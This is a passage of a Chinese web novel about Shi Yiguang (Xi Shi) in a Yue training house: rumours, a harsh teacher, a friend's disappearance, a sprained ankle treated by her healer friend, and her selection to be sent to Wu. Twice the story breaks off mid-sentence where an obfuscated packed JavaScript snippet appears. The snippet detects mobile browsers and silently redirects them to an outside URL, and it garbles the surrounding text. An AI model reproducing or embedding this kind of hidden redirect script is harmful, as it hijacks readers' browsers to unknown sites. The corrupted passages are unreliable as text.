那丫鬟低着头，脚步匆匆，像是急着去哪里。 夷光本没在意，可那丫鬟经过她身边时，袖子被风掀起一角，露出手腕上一道长长的、暗红色的疤痕。 那道疤，夷光见过，一个月前，她在教习坊的后院，看见一个洗衣的婆子打一个小丫鬟，那丫鬟跪在地上，用手挡着脸，袖子滑下去，露出手腕上一道新伤。 那丫鬟哭着求饶，说：“我再也不敢了。” 婆子骂她：“手脚不干净，偷东西偷到主子头上了。” 后来那丫鬟被调走了，不知去了哪里。 如今，那个手腕上有疤的丫鬟，提着枇杷，出现在教习坊。 夷光没有声张。她只是在那个丫鬟经过时，多看了一眼，记住了她的脸，记住了她走的方向。 然后她接着练舞，像什么都没看见。 那天夜里，中毒的事就发生了。 夷光躺在床上，睁着眼，听着隔壁屋里传来的呕吐声和呻吟声，心里像浸了冰水。 那个丫鬟…那篮枇杷……不是意外。是有人要害人。 要害谁？但不管要害谁，教习坊都不安全了。 她没有告诉任何人。她没有任何证据，只是看见了一个不该出现的人。说出来，没有人会信，反而会惹祸上身。 她只能把这件事藏在心里，像藏着一块烧红的炭，烫得她睡不着觉。 又过了几日，教习坊里开始有了些闲话。 “听说了吗？那个施夷光，跟外头有来往。” “真的假的？” “真的，有人看见她让一个打扫的杂役带东西出去。” “带什么？” “谁知道呢，肯定不是什么好东西。” 夷光不知道这些闲话是从哪里传出来的。 但肯定有人在针对她。 是那个手腕上有疤的丫鬟？还是别的什么人？她必须要更小心，更谨慎，不能露出任何破绽。 她找到阿福，告诉他，暂时不要再带东西进来了。阿福看了她一眼，点了点头，没有多问。 那之后，夷光和阿青之间的联系，暂时断了。 * 六月初，教习坊来了一位新的教习嬷嬷。 新嬷嬷姓周，四十来岁，面容刻薄，眼神锋利，说话时嘴角总带着一丝若有若无的冷笑。 她负责教仪态，如何走路、如何站立、如何落座、如何行礼…… 这些夷光已经学过了，但周嬷嬷的标准比吴嬷嬷高得多，严得多，甚至到了苛刻的地步。 “腰挺直！肩膀打开！下巴收回去！眼睛看前面！” 周嬷嬷拿着戒尺，在夷光身边转来转去，不时用戒尺敲打她的肩膀、腰背、腿弯，“你是去伺候吴王的，不是去当木头人的！吴王要看的是活色生香的美人，不是僵硬的木偶！” 夷光咬着牙，一遍一遍地练。 从清晨练到日暮，从日暮练到夜深。她的腿肿了，腰酸了，脚底磨出了水泡，走路都一瘸一拐的。 郑旦心疼她，偷偷给她送药膏，帮她揉腿：“夷光，你别太拼了。那个周嬷嬷就是故意刁难你，你别上她的当。” 夷光摇了摇头：“不是刁难。是真的不够好。” 郑旦叹了口气，没有再劝。 * “眼睛是心灵的窗户。吴王那样的人，阅人无数，一眼就能看穿你。你的眼神要柔，要媚，要让人一看就想靠近，但又不能太露骨，太露骨就显得轻浮。” 周嬷嬷站在夷光面前，盯着她的眼睛，“你试试看，用眼神勾住我。” 夷光抬起头，看着周嬷嬷，她试着让自己的眼神变得柔和，嘴角微微上扬，目光含着一丝若有若无的笑意。 周嬷嬷看着她的眼睛，沉默了片刻，忽然冷笑了一声。 “不对。你这眼神，太干净了。干净得像山里的溪水，一眼就能看到底。吴王不需要干净，他要的是猜不透、摸不着、让人心痒难耐的东西。 你要学会藏。把你的心思藏起来，把你的情绪藏起来，把你的真实面目藏起来。让吴王猜，让他想，让他欲罢不能。” 夷光低下头，没有说话。 藏……她已经在藏了，藏了太久，久到有时候自己都忘了自己本来的样子。 可周嬷嬷说不够，藏得不够深，不够彻底，不够让吴王“欲罢不能”。她不知道自己还能不能再藏下去。 那天夜里，夷光没有睡，她坐在窗边，看着窗外的月亮。 阿青教她藏，是让她保护自己。 周嬷嬷教她藏，是让她去骗人。 同样的“藏”，不同的目的，她不知道哪个是对的，哪个是错的。 她有点累了…… * 教习坊。 窗外天色暗沉，夷光端着一碗热粥走进屋来。 郑旦坐在窗边，膝盖蜷在胸前，下巴抵着膝头，眼睛望着院子里那堵最高的粉墙出神。 夷光把粥放在桌上，轻声唤她： “郑旦。” 郑旦没动。 夷光走过去，在她身边坐下来，伸手碰了碰她的胳膊。郑旦像是被烫了一下，猛地转过头来，待看清是夷光，眼神才慢慢缓下来。 “你怎么不点灯？”夷光说着，起身去点了油灯，昏黄的光晕开，照亮了郑旦的脸。 那张平日里总是带着几分倔强和生动的脸，如今像蒙了一层灰。 夷光重新坐下来，沉默了一会儿，开口道：“阿瑶的事，你听说了吧。” 郑旦的目光落在桌沿上，声音很轻： “整个教习坊都知道了。” “她真的……半夜翻墙？” “嗯。” 郑旦垂着眼，“她爬上了后院那道最高的墙。都快要跳下去了，被巡逻的守卫看见了。” 夷光的手指微微收紧，攥住了膝上的裙摆：“她不要命了。” “她说她想家。”郑旦的声音忽然有些发紧，“说她母亲病了，她想回去看一眼。” 夷光没说话。 教习坊里的女子，哪一个不想家？哪一个没有在夜里蒙着被子哭过？ 可是没有人敢说出来，更没有人敢真的去爬那道墙。 “守卫把她从墙上拽下来，”郑旦继续说，语速很慢，像是在讲一个与自己无关的故事，“扭送到吴嬷嬷面前。阿瑶跪在地上哭，哭得浑身发抖，说她错了，说她只是想回去看看她娘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486900|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夷光闭上眼睛。 “吴嬷嬷铁青着脸，让人把她关进柴房，等着上面发落。” 郑旦的声音低下去，几乎变成了耳语，“第二天，来了几个穿皂衣的人。” 夷光睁开眼，看着郑旦。 郑旦也看着她。 两个人的目光在昏暗的光线里碰在一起，谁都没有说话，可谁都从对方眼里看到了同一样东西。 半晌，夷光轻声问：“没有人知道她去了哪里？” 郑旦摇了摇头，头发摩擦着肩头的衣衫，发出细碎的声响。 “没有人知道。”她说，“也没有人敢问。” 油灯的火苗轻轻跳了一下，墙上的影子晃了晃。 夷光侧过头，看着窗外。 天已经彻底黑下来了，院子里什么也看不清，只有那堵粉墙的轮廓还隐隐约约立在那里，比夜色更深一些。 “那天之后，”郑旦忽然开口，“你有没有觉得，教习坊不太一样了？” 夷光想了想，说：“所有人都更沉默了。” “更小心了。” “更不敢说话了。” 两个人又沉默下去。 这些话不需要说出口，每个人心里都清楚。走在廊下，脚步放轻了；在课室里说话，声音压低了；就连吃饭时碗筷碰撞的声响，似乎都比从前小心了许多。 夷光忽然说：“你也变了。” 郑旦怔了一下：“我？” “你以前很爱笑的。”夷光看着她，“现在你总是坐在这里，看着外面的天，一发呆就是大半天。我问你怎么了，你总说没事。” 郑旦嘴唇动了动，像是想否认，可话到嘴边又咽了回去。她低下头，手指无意识地在膝上画着什么。 “阿瑶被带走的那天，”郑旦终于说，声音有些哑，“我看见了她的脸。” 夷光屏住了呼吸。 “她被那两个皂衣人架着往外走，经过廊下的时候，她回过头来看了我一眼。” 郑旦抬起手，捂住了自己的眼睛，“夷光，她的眼睛里什么都没有。不是不怕，不是怕，就是……什么都没有了。像一个已经被掏空了的人。” 夷光伸出手，覆上郑旦冰凉的手背。 “我看着那道门关上，”郑旦的声音从手掌后面传出来，闷闷的，“忽然就觉得，那道门关上的声音，不是关住阿瑶一个人的。” 夷光的手紧了紧。 “我知道。” 郑旦慢慢放下手，眼眶是红的，但没有流泪。她转过头，重新看向窗外那堵墙的方向，目光落在一个很远很远的地方。 “夷光，你说，下一个会是谁？” 夷光没有回答。 屋子里安静极了，只有油灯偶尔发出细微的“噼啪”声。夜风从窗缝里挤进来，灯焰歪了歪，又站直了。 过了很久，夷光端起那碗已经凉了的粥，站起身来说：“粥凉了，我去热一热。” 她走到门口，停了一下，没有回头，只是轻声说了一句话，声音轻得像是怕惊动了什么。 “郑旦，别再坐在这里看天了。那道墙，看再久也看不穿的。” 身后没有回应。夷光拉开门，走了出去。 廊下的风吹过来，带着六月末闷热潮湿的气息。 她端着粥碗站了一会儿，抬头看了看天。天上没有星星，黑沉沉的一片，像一口倒扣的锅，把教习坊严严实实地罩在底下。 她低下头，快步往厨房走去。 26. 扭伤了 七月初，周嬷嬷站在廊下，把所有人都叫到了一起。 “都听好了。”周嬷嬷的声音不大，但每个人都听得清清楚楚，“下个月，范大夫会来教习坊视察。你们每个人都要表演一段才艺，歌舞、器乐、诗词、书法，什么都行。范大夫会从中挑选最出色的几个，送去吴国。” 话音落下，院子里安静了一瞬。 然后，嗡嗡的议论声像潮水一样涌起来。 “送去吴国……” “真的吗？去吴国？” “听说是去吴国的王宫……” 有人兴奋，有人恐惧，有人茫然，有人暗暗攥紧了拳头。 夷光站在人群中间，听着周围的声音，脸上什么表情都没有。她自己都觉得心里意外地平静。 该来的，终于来了。 夜里，夷光被一阵压抑的哭声惊醒了。 她侧过头，看见旁边的被窝在微微发抖。郑旦把被子蒙在头上，捂着嘴，哭得浑身都在颤抖。 夷光伸出手，揽住了郑旦的肩膀。她没有说话，只是轻轻地、一下一下地拍着。 哭了很久，郑旦的声音从被子里传出来，闷闷的，带着哭腔。 “夷光。” “嗯。” “你说，我们会死在那里吗？” 夷光沉默了一会儿。窗外的月光透过窗纸，在地上投下一片模糊的白。 “不会。” 她说，声音很轻，但很坚定，“我们会活着。活着回来。” 郑旦没有再说话，只是哭得更厉害了。 * 练舞房。 夷光从一个旋转的动作中落地时，脚踝一歪，整个人重重地摔在了地上。 “砰”的一声，所有人都停下了动作。 郑旦第一个冲过来，跪在地上扶她。 “夷光！你怎么样？” 夷光咬着牙，试着站起来。左腿刚一用力，一阵剧烈的疼痛从脚踝窜上来，她倒吸一口凉气，又跌坐回去。 她低头一看，脚踝已经肿了。青紫色的，像一块发霉的馒头。 周嬷嬷走过来，站在她面前，低头看了看她的脚踝。 “能站起来吗？” 夷光咬着牙，又试了一次。 疼。站不起来。 周嬷嬷皱了皱眉，转身吩咐身边的人：“去请大夫。把她扶回屋去。” 郑旦和另一个女子一左一右架着夷光，把她扶回了屋子。 大夫来得很快。他捏了捏夷光的脚踝，又让她试着动了动脚趾，最后放下她的手，摇了摇头。 “没有伤到骨头，是扭伤。”大夫说，“但要静养。至少半个月不能下地。” 郑旦急了：“半个月？下个月范大夫就要来了！她还要表演呢！” 大夫看了她一眼，没有说话。那个眼神很清楚——那是你们的事，我管不了。 大夫走后，郑旦在屋子里转来转去，急得团团转。 “怎么办？怎么办？半个月不能下地，你怎么练舞？怎么表演？怎么被选中？怎么去——” 她忽然停住了，没有把那个词说出口。 夷光躺在床上，看着头顶的帐幔，一句话都没有说。 那天夜里，郑旦以为夷光睡着了，她轻手轻脚地吹了灯，回到自己的床上。 黑暗中，夷光从枕下摸出一个小布包。她把它打开，里面是一些碎得几乎成了粉末的薄荷叶，散发着淡淡的、几乎闻不到的香气。 她把布包贴在胸口，闭上了眼睛。 * 三天过去，夷光的脚踝还是没有好转。肿胀消了一些，但还是疼，还是不能下地。 郑旦每天帮她揉腿、敷药、端饭，忙前忙后，自己都瘦了一圈。 夷光看着她端着粥碗走进来，脸上的疲惫遮都遮不住。 “郑旦，你别忙了。坐下歇会儿。” “我不累。”郑旦把粥放在床头，在床边坐下来，“你先把饭吃了。吃了饭才有力气养伤。” 夷光端起碗，喝了一口。粥很稀，没什么味道。她还是一口一口地喝完了。 喝完粥，她把碗放下，看着郑旦。 “郑旦。” “嗯？” “如果我不能去吴国了，你会不会怪我？” 郑旦愣了一下：“怪你什么？” “怪我不能陪你。” 郑旦的眼眶一下子红了：“你胡说什么呢。你一定会好的。下个月之前，一定会好的。” 夷光笑了笑，没有再说话。 * 又过了几天，吴嬷嬷来了。 她坐在床边，看着夷光肿着的脚踝，沉默了很久。 “周嬷嬷说，你下个月可能参加不了视察了。” “我会好的。”夷光说，“下个月之前，我一定会好的。” 吴嬷嬷看着她，目光里有一种说不清的东西。 “夷光，你知道，如果这次不能被选中，你会被送到哪里去吗？” 夷光摇了摇头。 “会被送到宫里去，做宫女。”吴嬷嬷的声音不高不低，像是在说一件很平常的事，“不过……不是去吴国。是在越国的王宫里，做最下等的杂役。一辈子，都出不来了。” 夷光的手猛地攥紧了被角。 她的脸上没有表情，但攥着被角的指节，白得像骨头。 吴嬷嬷看了她一眼，叹了口气，起身走了。 走到门口，她停了一下，没有回头。 “好好养伤吧。” 门关上了。 夷光躺了很久。然后她慢慢地、慢慢地把被子拉上来，盖住了自己的脸。 夷光失眠了，她睁着眼睛，看着头顶的帐幔，一遍又一遍地想着吴嬷嬷的话。 做宫女。最下等的杂役。一辈子都出不来。 她不能……她不能被困在这里。 她要出去……要去吴国，要完成她该做的事，然后回来。 她必须好起来。必须。 * 第二天一早。 “郑旦。” “嗯？” 郑旦正在帮她换药，抬起头来看她。 “帮我找几样东西。” “什么东西？” “干净的布。热水。盐。还有一瓶药酒。” 郑旦愣了一下：“你要干什么？” “帮我找来就是了。” 郑旦虽然满腹疑惑，还是依言找来了。 夷光让郑旦把药酒倒在手心里，搓热，然后敷在她的脚踝上。 “用力揉。” 郑旦犹豫了一下，开始揉。 疼。 夷光咬着嘴唇，额头上冒出细密的汗珠。但她没有喊停。 “用力。”她说。 “你疯了！”郑旦的手在发抖，“你这么揉，腿会废的！” “不会。我的腿，不会废。” 郑旦的眼眶红了，但她没有再说什么。她低下头，继续揉。 夷光的嘴唇咬破了。铁锈一样的血腥味在舌尖上蔓延开来。 “继续。” 郑旦哭着揉，一边揉一边骂她。 “你这个疯子！你这个傻子！你不要命了！” 夷光没有回答。 她只是咬着牙，一声不吭地忍着。 揉了整整一个时辰。 郑旦的手酸得抬不起来了。夷光的脚踝肿得更厉害了，但那种胀痛的感觉，好像有了一些变化。 郑旦跑出去找大夫。 大夫来了，看了看她的脚踝，摇了摇头。 “姑娘，你这样不行。伤筋动骨一百天，你这样硬来，只会加重伤势。” 夷光没有说话。 大夫走后，她让郑旦用盐水和热水交替敷。敷了又揉，揉了又敷。 郑旦拦不住她，也劝不动她，只能红着眼睛陪着她。 因为她没有时间了。 下个月，范大夫就要来了。 她必须在那个时候站起来。 站在所有人面前。 跳舞、微笑、被选中。 她不能让任何人看到她受伤的样子。不能让人看到她脆弱的样子。 * 悬壶堂。 施晓青坐在柜台后面，手里攥着一根麻绳带子。带子已经很长了，长到可以在手腕上绕好几圈。 她的指节因为用力而发白。 快一个月了……快一个月没有收到夷光的消息了。 阿福来过几次。 每次来，她都问他：“夷光怎么样了？” 阿福每次都摇头，说：“那位姑娘说，暂时不要送了”。 她问他：“她还好吗？” 阿福想了想，说：“还好。” 但他的眼神躲闪，不敢看她的眼睛。 施晓青知道，他在撒谎。 夷光出事了。 夷光一定出事了，不然不会断了联系。不然阿福不会不敢看她的眼睛。 她想进内城，想去教习坊，想去看夷光……可她进不去。 没有夫人召见，没有陆管事的邀请，她进不去…… 她只能等。 等夫人来……等素心来……等任何一个能带她进去的人来。 可没有人来。 她已经等了很久了。 久到她的耐心快要被磨光了。 她低下头，看着手里的麻绳带子，又开始编下一扣。 再等等……再等等……就会有消息的，再等等……就能见到夷光。 这句话她对自己说了很多遍了。 说得她自己都快不信了。 “施大夫。” 施晓青抬起头。 门口站着一个人。 她愣了一下。 “陆管事？” 陆管事穿着便服，带着一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486901|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮，大步走进来。 “施姑娘，你那个在教习坊的朋友，是不是叫施夷光？” 施晓青的心猛地一沉。 “是。她怎么了？” “她受伤了。脚扭了，挺严重的。坊里的大夫看了，说至少要养一个月。” 陆管事的声音压得很低，“可下个月初，范大夫就要来视察了。她若是不能参加，就会被送到王宫里做宫女，一辈子出不来。” 施晓青的手攥紧了柜台。 “我能进去吗？” “能。”陆管事说，“夫人已经安排好了。你以大夫的身份进去，给教习坊的女子们检查身体。不会有人起疑。” “什么时候？” “现在。” 施晓青转身走进后院，提起药箱，从药柜里多拿了几味药。又从柜子深处拿出一小罐自己熬的跌打膏，用五倍子、大黄、半夏、赤芍加上醋调成的那种。 她把东西一样一样放进药箱，手很稳。 “走吧。”她说。 * 马车再次驶入内城。 施晓青靠在车壁上，手里攥着药箱的把手。 她在心里一遍一遍地告诉自己：不要慌……不能慌……你是大夫，你是来给人看病的，你不能让人看出你和夷光认识，不能让人起疑。 可她的手还是忍不住发抖。 马车在教习坊门口停下。 施晓青跟着陆管事走进去。穿过游廊，穿过月洞门，来到夷光住的那个院子。 一个女子站在门口。她穿着浅青色的衣裳，头发简单地挽着，脸上带着明显的疲惫和担忧。 她看见施晓青，愣了一下。 “你是……” “我是大夫。”施晓青说，声音平静得连她自己都觉得陌生，“来看看施姑娘的腿。” 郑旦上下打量了她一眼，又看了看她身后的陆管事，侧身让开了。 “进来吧。” 屋子里很暗。 窗户关着，空气里弥漫着药味和一种沉闷的、让人喘不过气的气息。 夷光躺在床上。 她的左腿搁在被子上，脚踝裹着厚厚的布条。她的脸色苍白，眼下青黑，整个人瘦了一圈。 施晓青的鼻子猛地一酸，她深吸一口气，把那酸意压了下去。 她走过去，在床边坐下。 “施姑娘，”她说，声音很平稳，“我是大夫，来看看你的腿。” 夷光抬起头。 四目相对。 那一瞬间，施晓青看见夷光的眼眶红了，嘴唇在颤抖，眼泪在眼眶里打转，却始终没有落下来。 施晓青的眼睛也红了，但她没有哭。 她只是看着夷光，用尽全力地看着她。 像是在说——我来了。别怕。我来了。 然后她低下头，开始解夷光脚踝上的布条。 布条缠得很紧，一层一层，缠了不知道多少层，她慢慢地解开，每解开一层，心就沉一分。 布条下面，脚踝肿得像馒头，青紫色的，皮肤发亮，像是随时会裂开。 “怎么弄的？”她轻声问。 “练舞的时候摔的。”夷光的声音也很轻，轻得像一阵风就能吹散。 施晓青伸手轻轻按了按脚踝的肿胀处，感觉到皮下有硬块。是淤血。 还好，没有伤到骨头，但软组织损伤很严重。若不好好处理，确实会影响行走。 她从药箱里拿出那罐跌打膏，挖了一块，在手心里搓热。 然后敷在夷光的脚踝上，轻轻地、慢慢地、揉…… 她能感觉到夷光的腿在发抖，能听到她压抑的、极轻极轻的抽气声，但夷光没有喊停，也没有躲。 她只是咬着嘴唇，任由施晓青揉。 揉了大约一刻钟。 施晓青停下来，用干净的布条把脚踝重新包好。这一次，她没有缠得太紧，留了一些空间，让血液循环畅通。 “每天早晚各揉一次，用这个膏。”她把那罐跌打膏放在床头，“不能偷懒，也不能太用力。揉完用布条包好，不要太紧。这个留给你。不够了，再让人来找我。” 夷光点了点头。 施晓青站起来，开始收拾药箱，她知道自己该走了，不能待太久。 可她想留下来陪着夷光，想跟她说说话。告诉她，不要怕，一切都会好的。 “施大夫。” 夷光的声音从身后传来。 “谢谢你。” 施晓青低下头，看着夷光。 夷光的眼睛里有泪光，看着让人心疼。 “不用谢。”她说，“好好养伤。下个月之前，你一定能站起来。” 她转身走了，走出房门，走出院子，走出教习坊。 走进马车。 车帘放下的那一刻，她的眼泪终于落了下来。 她没有擦，任由它们流。 流了一路…… 27. 入选了 那罐跌打膏，夷光用了五日。 每日早晚，她坐在床上，把膏药挖出来，在手心里搓热，然后敷上脚踝，慢慢地揉。 每一次都疼到额头冒汗，疼到牙关紧咬，疼到手指发颤。 这罐膏药是阿青亲手熬的，每一味药都是阿青亲手挑的，每一道工序都是阿青亲手做的。 这里面有阿青的心血，有阿青的盼望，有阿青隔着高墙递过来的、滚烫的、不肯熄灭的信念。 她不能辜负。 郑旦每天帮她换药、揉腿、端饭，嘴里念叨个不停。 “这个大夫还真有些本事，这才几天，肿就消了不少。你看，都能看见脚踝骨了。” 夷光低头看着自己的脚踝，青紫色褪成了青黄色，肿胀消了大半，虽然还是疼，但已经能轻轻转动了。 “郑旦，扶我起来。” “你疯了？大夫说要静养！” “我知道。但我不能一直躺着。” 夷光撑着床沿，试着慢慢坐起来。 左腿不敢用力，她用右腿撑着身体，郑旦在旁边扶着，急得直跺脚。 好不容易坐稳了，夷光喘了口气，试着把左脚放在地上，脚尖刚沾地，一阵刺痛从脚踝窜上来，疼得她倒吸一口凉气。 “你看你看，我说了不能动！”郑旦把她按回床上，“你要是把腿弄废了，下个月怎么跳舞？” 夷光靠在枕头上，闭着眼，平复着呼吸。 郑旦说得对，她不能急，不能乱来。 她必须在下个月之前站起来。 “郑旦，帮我弄点热水来。”她说，“烫一点的。” “要热水做什么？” “泡脚。活血化瘀。” 郑旦虽然嘴上念叨，还是去打了热水来。 夷光把左脚慢慢浸入水中，热水漫过脚踝，烫得她打了个激灵。 她咬着牙，把脚泡在水里，一动不动。泡了一刻钟，水凉了，她让郑旦再加热水，再泡。如此反复了三次，脚踝的僵硬感缓解了不少。 “每天帮我泡三次。”她说，“早晚各一次，中午一次。” “你这到底是大夫教的，还是自己想的？”郑旦好奇地问。 夷光笑了笑：“自己想的。” 这些法子，都是阿青教她的。 阿青说过，扭伤之后，先冷敷止血，后热敷活血。没有冰，就用凉水；没有热水袋，就用热水泡。办法总比困难多。 阿青说的每一句话，她都记着。 * 会稽城进入了最热的时节。 太阳像一个大火炉，从早到晚地烤着，把地面晒得发烫，把空气晒得发黏。 教习坊的院子里，蝉鸣声此起彼伏，吵得人心烦意乱。 夷光已经能下地了。 虽然还走不快，虽然还微微有些跛，但至少不需要人扶了。 她每天扶著走廊的栏杆，慢慢地走，一圈，两圈，三圈。走到腿酸了，就坐下来歇一会儿，然后继续走。 周嬷嬷来过一次，看了看她的脚踝，面无表情地说：“能走了？那就继续练舞。视察之前，你必须把落下的进度补回来。” “是。”夷光低头应道。 郑旦气得不行，等周嬷嬷走了，在屋里骂了一通。 “她有没有良心？你的腿还没好利索，就让你练舞？万一再摔了怎么办？” “不会的。”夷光说，“我会小心的。” 她没有选择。 周嬷嬷说得对，视察之前，她必须把落下的进度补回来。 为了不被送去当宫女，为了不困在越国王宫深处，为了能完成该做的事，然后回来……找阿青。 八月初一，教习坊开始为视察做最后的准备。 所有女子都被集中到正院的大厅里，逐个演练各自的才艺。有人跳舞，有人唱歌，有人弹琴，有人写字。吴嬷嬷和周嬷嬷坐在一旁，一个一个地看，一个一个地打分，一个一个地淘汰。 夷光排在倒数第三个。 她坐在廊下等待，手心全是汗。 脚踝还隐隐作痛，但她已经顾不上了。 她闭上眼，在心里默念着舞步，每一个动作都反复演练了无数遍，刻在脑子里，刻在肌肉里，刻在骨头里。 “施夷光。” 轮到她了。 她站起来，走进大厅，站在中间。 吴嬷嬷和周嬷嬷看着她，周围是其他女子的目光，好奇的、紧张的、还有带着隐隐的敌意的。 音乐响起。 她开始跳舞。 那是一支她自己编的舞，用的是越地民间的曲调，动作简单，但每一个转身、每一个抬手、每一个眼神，都经过反复打磨。 考虑到伤没好，她跳得很慢。 但慢有慢的好处——每一个动作都更清晰，每一个表情都更分明，每一个眼神都更能被人记住。 她跳完站在原地，微微喘着气，脚踝传来一阵阵刺痛，但她站得很稳，没有晃，没有倒。 吴嬷嬷沉默了片刻，点了点头。 “不错。下去吧。” 周嬷嬷没有说话，只是看了她一眼，目光里有些什么复杂的情绪。 夷光行了一礼，慢慢走了出去。 走出大厅的那一刻，她的腿一软，差点摔倒。郑旦冲过来扶住她，眼眶红红的。 “你跳得太好了！我就知道你可以的！” 夷光靠在她肩上，闭着眼，嘴角带着一丝极淡的笑。 她做到了！她站起来跳完了。 不管结果如何，她至少没有放弃。 * 八月初五，范大夫视察的日子。 教习坊从清晨就开始忙碌。 丫鬟们洒扫庭院，布置厅堂，准备茶点。 女子们换上了最好的衣裳，梳了最精致的发髻，画了最得体的妆容。每个人都在紧张地等待着，像等待一场审判。 夷光站在窗边，看着外面的天。 天很蓝，没有一丝云，阳光明晃晃地照在院子里，照在那些花木上，照在那些来来往往的丫鬟身上。 她穿着一身浅绿色的衣裙，头发简单地绾着，没有戴任何首饰。 吴嬷嬷说，第一次见范大夫，不要打扮得太刻意，越自然越好。 她信吴嬷嬷。 “夷光，你紧张吗？”郑旦站在她旁边，手里攥着一块帕子，帕子已经被她揉得皱巴巴的。 “不紧张。” 该做的，她都做了。该准备的，她都准备了。剩下的，不是她能左右的。她只需要站在那里，做她自己。 巳时三刻，范大夫来了。 他穿着一身深色的官袍，比在山里遇到时更显清瘦，但眉宇间的锐利不减。 他的目光扫过大厅，扫过那些低眉顺眼的女子，最后落在夷光身上，停了一瞬。 女子们依次表演。 夷光排在中间，不早不晚。 她走上去，行礼，然后开始，还是那支舞，还是那个曲调，还是那些动作。 但这一次，她跳得比上次更好，更稳，更从容。脚踝还是会疼，但她已经学会了忽略疼痛。 跳完之后，她站在原地，微微低着头，等着范大夫的评判。 范大夫沉默了很久：“这支舞，是你自己编的？” “是。”夷光说。 “为什么选这个曲子？” “因为这是越地的曲子。”夷光抬起头，迎上范大夫的目光，“民女是越人。无论去到哪里，都不能忘了自己从哪里来。” 大厅里安静了一瞬。 吴嬷嬷的嘴角微微动了一下，像是想笑，又忍住了。周嬷嬷面无表情，但她的目光在夷光身上停了好几秒。 范大夫看着她，目光里的锐利渐渐化开，带着几分欣赏。 “很好。你留下。其他人，退下 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范大夫转过身，看着她：“我知道。所以我没有阻止她。但你要记住，去吴国之后，你不能再跟她有任何联系。吴王的人无孔不入，若是被发现你跟越国的人有来往，你会死。” 夷光的手攥得更紧了：“我知道。” “你真的知道吗？”范大夫走回来，站在她面前，目光直视着她，“去吴国，不是去玩。你的一言一行，一举一动，都关系着越国的存亡。 你不能再有牵挂，不能再有软肋，不能再有任何让人可以利用的东西。你的朋友，你的家人，你的过去——都必须放下。” 夷光：真的能做到吗…… “我能做到。”她说。 范大夫看着她，目光里的复杂又深了几分。 “好。那你回去准备吧。下个月初，会有人来接你。” 夷光行了一礼，转身走了出去。 走出大厅的那一刻，她的眼泪终于落了下来。她快步走进旁边的巷子，靠在墙上，捂著嘴，无声地哭了一场。 放下阿青。放下阿母。放下苎萝村。 她放不下。她一样都放不下。 可她必须放。因为她没有选择。 那天傍晚，施晓青正在铺子里给人看诊，阿福来了。 他没有带东西，只是口头转述了一句话。 “那位姑娘说，她被选中了。下个月，就要去吴国了。她还说，让你别担心她，她会好好的。让你也好好照顾自己，别太累了。” 施晓青手里的药杵掉在了柜台上，发出一声沉闷的响。 下个月。去吴国。 她一直知道这一天会来，可当它真的来了，她还是觉得太快了。快到她还没有做好准备，快到她还来不及跟夷光多说几句话。 她低下头，看着柜台上的药杵，看着那些散落的药渣，看着自己沾满药渍的手指。 “她——”她的声音有些哑，“她还好吗？” “还好。”阿福说，“只是……瘦了。” 施晓青点了点头，从柜台里拿出几个铜板，塞到阿福手里。 “谢谢你。以后……以后不用再送了。” 阿福看着手里的铜板，又看了看她，欲言又止，最终还是没说什么，转身走了。 那天夜里，施晓青没有编带子。 她坐在小厢房的床边，把那根已经编得很长的麻绳带子摊在膝上，用手指一寸一寸地摸过去。 夷光要走了。去吴国，去一个很远很远的地方。她不能跟去，不能送她，不能在她身边。 她只能在这里，在会稽城，在悬壶堂，等她。 窗外月色很好，照在枇杷树的叶子上，泛着银白色的光。 远处，教习坊的方向，夷光在跳舞吗？还是在跟郑旦告别？还是在收拾行李？ 她还能做些什么……